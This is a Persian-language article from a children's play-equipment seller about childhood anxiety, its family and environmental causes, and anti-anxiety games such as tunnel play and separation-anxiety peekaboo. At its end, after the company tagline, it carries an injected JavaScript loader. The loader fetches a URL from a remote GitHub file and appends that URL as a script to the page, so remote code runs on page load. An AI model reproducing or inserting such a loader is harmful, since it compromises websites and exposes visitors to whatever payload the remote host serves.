لزوم بکارگیری از بازی های ضد اضطراب برای کودک

اضطراب و نگرانی یک پدیده گذرا در دوران کودکی نیست و اگر نادیده گرفته شود و درمان نشود، در بزرگسالی عواقب بسیار جدی و جبران ناپذیری دارد. با تشخیص و عملکردی به موقع، می توان به کودکان آموزش داد که چگونه می توانند آن را از طریق والدین و مربیان کنترل کنند. با استفاده از بازی های ضد اضطراب برای کودک، آرامش را برای فرزندانتان ایجاد نمایید.

اضطراب در کودک چیست ؟

اضطراب و ترس در کودک از یک محیط درونی و یا محرک بیرونی بروز می کند. مانند ترس از گربه, تاریکی, زلزله و …. در ادامه به بررسی این مورد و راه های درمان آن به وسیله بازی های ضد اضطراب در کودک خواهیم پرداخت.

عوامل ایجاد استرس در کودک

امروزه با گسترش شهرنشینی کودکان کمتر با همسن های خود بازی می کنند و وقت می گذارند و فعالیت فیزیکی آنها کمتر شده است. این باعث می شود کودک دیگر شادی و نشاط نداشته باشد. به مرور دچار پرخاشگری و استرس و اضطراب شود.

ژنتیک و وراثت عامل اضطراب

از عوامل مهم و اصلی اضطراب در کودک و نوجوان ژنتیک یا همان زمینه خانوادگی است. محیط, خانواده, تربیت به عنوان عوامل مستعد کننده عمل می کند. یعنی کودک از همان ابتدا بدون اینکه اتفاق خاصی افتاده باشد دچار استرس و اضطراب می شود.

تاثیر خانواده و محیط تربیتی در میزان اضطراب و نگرانی

خانواده در ایجاد اضطراب کودکان نقش مهمی دارد به طور خلاصه بیماری والدین در مدت طولانی, مرگ یکی از عزیزان, کشمکش والدین در خانه, جدایی ( طلاق ), سختگیری ها و تضادهای انظباطی والدین, اعمال فشار برای بهترین بودن در جامعه ( ایدالیست ) سبک تربیتی مستبدانه که جایی برای اظهار نظر فرزندان باقی نگذارد, وابستگی بیش از حد به پدر یا مادر (اضطراب جدایی), ورود به زندگی اجتماعی که از مهد کودک اغاز می شود در ایجاد اضطراب کودک موثر است.

درمان اضطراب در کودک

1 – استفاده از رنگ های روشن در اتاق کودک, مهد کودک, وسایل بازی کودک, لباس کودک و…. طبق تحقیقاتی که در ایران شده رنگ های سبز, ابی و صورتی و در کشورهای غربی سبز, ابی و قرمز در کودکان و افراد بی هنجار جامعه بیشتر مورد استفاده قرار می گرفته که نشان از روح و روان سالم دارد. دکوراسیون اتاق کودک و شاداب بودن محیط نقش مهمی در کاهش استرس کودک دارد.

2 -والدین کودکان مضطرب باید عوامل مساعد کننده ترس کودکان را کاهش دهند و نقش حمایت گر برای کودکشان داشته باشند و به او اجازه دهند احساسات خود را بروز دهند بدون این که ترس را در او تایید یا رد کنند با او در خانه, پارک, بازی کرده و به کافی شاپی یا محل دنجی روید تا او بتواند صحبت کند.

بازی درمانی اضطراب کودکان

بدون شک بازی درمانی بهترین راه برای کاهش استرس و اضطراب است. این روش هم بسیار موثرتر و بسیار کاربردی تر است. شما با کمک گرفتن از برخی بازی ها نه تنها می توانید استرس و اضطراب کودک خود را کاهش دهید بلکه زمینه های شادابی و رشد او در همه زمینه ها را ایجاد می کنید. در ادامه به چند مورد از بازی های ضد اضطراب برای کودک اشاره خواهیم کرد.

بازی هایی برای کاهش اضطراب کودکان

•  تونل هزار پا : بازی با تونل هزارپا جز بازی های فعال به شمار می اید که مناسب برای رشد فیزیکی و اثر مستقیم بر روی کاهش اضطراب کودک دارد.

فواید بازی با تونل هزار پابرای کاهش اضطراب :

این بازی کودک به تمرین مهارت هایی مانند نشستن, خزیدن, ایستادن, دویدن, پریدن, گرفتن اشیا می پردازد, که مستلزم استفاده از سر, تنه, دست و پا است.

1 -تقویت حس حرکتی: میتوان چند توپ را داخل تونل قرار داد و بچه با حرکت در داخل تونل با دستش توپ را به جلو ببرد. ( بهتر است سایز توپ ها متفاوت باشد)

2 -پر کردن داخل تونل با بالش : درون تونل را از بالش پر می کنیم تا کودک به سختی از ان عبور کند و از ان طرف در بیاید. اینکار به تحریک حس عمقی, تقویت عضلات کودک کمک می کند.

3 -انداختن کفپوش های متفاوت یا چمن مصنوعی در درون قطار شادی : این بازی به تحریک حس های نرمی زبری و سختی کودک کمک می کند و حس های او را با جنس های متفاوت اشنا می سازد.

برای خرید مبلمان کودک کلیک کنید 

4 -تقویت حافظه : توپ قرمز را در دست راست کودک و توپ سبز را در دست چپ کودک قرار داده و از او می خواهیم از تونل رد شود و بعد در سبد مربوطه بیندازد. این بازی باعث می شود کودک در طی مسیر عملکردی که به ان گفته شد را در ذهن خود داشته باشد. در عین این که حرکت می کند کار شناختی نیز انجام می دهد و با این کار توجه پایدار پیدا می کند. یعنی بچه بداند با چه هدفی به داخل تونل می رود ودر حافظه خود نگه دارد.

۵ -بازی دلبستگی محور : مادر روبروی کودک می نشیند تا کودک از داخل تونل رد شود و به مادر برسد. در این اسباب بازی تمام عوامل محیطی حذف می شود تا کودک به مادر برسد و فقط به انتهای تونل که مادر نشسته فکر می کند و خیلی متمرکز به سمت یک هدف می رود .

۶ – بازی شناختی : از کودک می خواهیم دو کارت حیوان را پس از رد شدن از تونل برای ما بیاورد و برگردد و یا این که کارت های حیوان را یک طرف تونل و کارت های میوه را در طرف دیگر تونل قرار دهد.

همان طور که مشاهده کردید به چند مورد از بازی های ضد اضطراب برای کودک اشاره شد. آن ها را به طور کامل توضیح دادیم تا از آن استفاده کنید.

بازی برای استرس جدایی

در برخی موارد زمانی که مادر از جلوی چشم بچه دور می شود. کودک خیال می کند مادر نیست و از او دور شده است در نتیجه دچار اضطراب ناشی از جدایی می شود. ما در این حالت با او بازی می کنیم. به این معنا که شی را به کودک نشان داده و سپس روی ان را پارچه می اندازیم و در مسیر کودک را ترغیب می کنیم که از تونل هزار پا رد شود تا ارام ارام به انتهای تونل برسد و در این مدت مادر ارام ارام از گوشه تونل دالی موشه می کند و خودش را نشان می دهد تا کودک مطمئن شود مادر هست و از او دور نشده  و ارام ارام به جدایی از مادر عادت می کند و می فهمد که مادر از بین نمی رود و دوباره بر می گردد.

بازی های ضد اضطراب برای کودک

در پاراگراف بالا در خصوص چند بازی برای کاهش استرس کودکان صحبت شد. اکنون به طور کلی برای افزایش اطلاعات و افزایش گزینه های شما از چند بازی دیگر نام می بریم.

بازی با اهنربا، اسپینر، خط خطی کردن بر روی کاغذ یا تخته، حباب لامپ ضد استرس، اسلایم، پازل ژایکو، خمیر بازی، جارو برقی رو میزی، کتاب های رنگ امیزی، توپ استرس، ماساژ سر، قلاب ماهی گیری، پاک کن خمیری، بازی رایانه ای (گیم)، اسکلت معلق، تخته سه بعدی و بازی دالی موشه را می توان نام برد.

(ساحل کیدز تولید کننده و فروش آنلاین تجهیزات مهد کودک و اتاق بازی در تهران با ۵۰ سال سابقه درخشان)

  (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)